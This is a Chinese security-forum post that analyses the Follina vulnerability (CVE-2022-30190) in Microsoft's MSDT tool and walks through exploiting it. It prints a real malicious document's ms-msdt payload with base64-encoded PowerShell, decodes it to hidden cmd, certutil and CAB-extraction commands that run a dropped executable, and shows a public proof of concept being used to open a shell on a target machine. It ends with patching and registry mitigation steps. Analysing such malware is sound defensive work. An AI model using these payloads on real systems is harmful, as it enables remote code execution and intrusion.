[数据加密] CVE-2022-30190分析以及复现和POC利用

647 5
guxinlei 2022-12-22 16:29:57 | 显示全部楼层 |阅读模式
本帖最后由 guxinlei 于 2022-12-22 16:38 编辑

微软官方介绍:https://msrc-blog.microsoft.com/ ... tool-vulnerability/
在微软官方的介绍里,我们可以看到,这个漏洞是从Word等调用应用程序使用URL协议,调用MSDT时存在远程执行代码漏洞。
成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。
要利用此漏洞,攻击者只需要用户打开恶意文档即可,保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码。
我们可以在any.run上下载样例和漏洞代码,进行分析。
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/

将样例放到linux上来进行分析。因为这个漏洞是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,也就是文档的xml文件从外部引用了一个链接,然后执行了恶意代码。
所以我们可以使用unzip命令解压word文档,来分析这个xml文件
  1. unzip 05-2022-0438.doc
复制代码


漏洞利用发生在这个word/_rels/document.xml里,我们打开分析,发现有一处地方引用了外部链接。
我们通过在any.run上查看这个被引用文件的源代码,发现重点是这一段:
  1.     window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";
复制代码
分析后得出:
  1. window.location.href:设置了一个窗口
  2. ms-msdt:是windows的诊断工具
  3. 之后就是ms-msdt的一些参数,不重要
复制代码

我们可以看到代码调用了powershell,执行的内容经过了base64加密,我们解密看一下。

解密后可以看到以下内容:
  1. $cmd = "c:\windows\system32\cmd.exe";
  2. Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
  3. Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
复制代码

经过分析后我们可以看到代码的用意:
  1. 启动隐藏窗口后:
  2. 如果 msdt.exe 正在运行,则终止它
  3. 循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串
  4. 将此 Base64 编码的 CAB 文件存储为1.t
  5. 解码Base64编码的CAB文件保存为1.c
  6. 将1.c CAB文件展开到当前目录,最后:
  7. 执行rgb.exe
复制代码

关键就在这里,windows会毫无限制的盲目执行这个powershell,如果我们修改成想执行的代码,就会导致远程代码执行漏洞。
漏洞利用的办法很简单,我们只需要修改一下这个xml文件,引用网站上的恶意代码就好了。
下面讲一下POC利用

POC利用
POC下载:https://github.com/JohnHammond/msdt-follina
获取shell:
  1. python3 follina.py -r 4444
复制代码
运行后会在这个POC的目录里生成一个follina.doc文档,我们下载他,然后放到靶机上执行。
靶机执行后,成功拿到shell。


漏洞修复
修复漏洞很简单,安装补丁即可。
也可以在cmd中执行以下两条命令:
  1. reg export HKEY_CLASSES_ROOT\ms-msdt filename
  2. reg delete HKEY_CLASSES_ROOT\ms-msdt /f
复制代码


guxinlei 2022-12-25 12:48:14 | 显示全部楼层

要不要下学期用这个来搞
邵江琦 2022-12-25 14:41:49 | 显示全部楼层
guxinlei 发表于 2022-12-25 12:48
要不要下学期用这个来搞

可以
中国红客——DHN 2023-1-4 22:27:11 来自手机 | 显示全部楼层
guxinlei 发表于 2022-12-25 12:48
要不要下学期用这个来搞

6
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

guxinlei

荣誉红客

关注
  • 24
    主题
  • 0
    粉丝
  • 1
    关注
青,取之于蓝而胜于蓝;冰,水为之而寒于水。

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行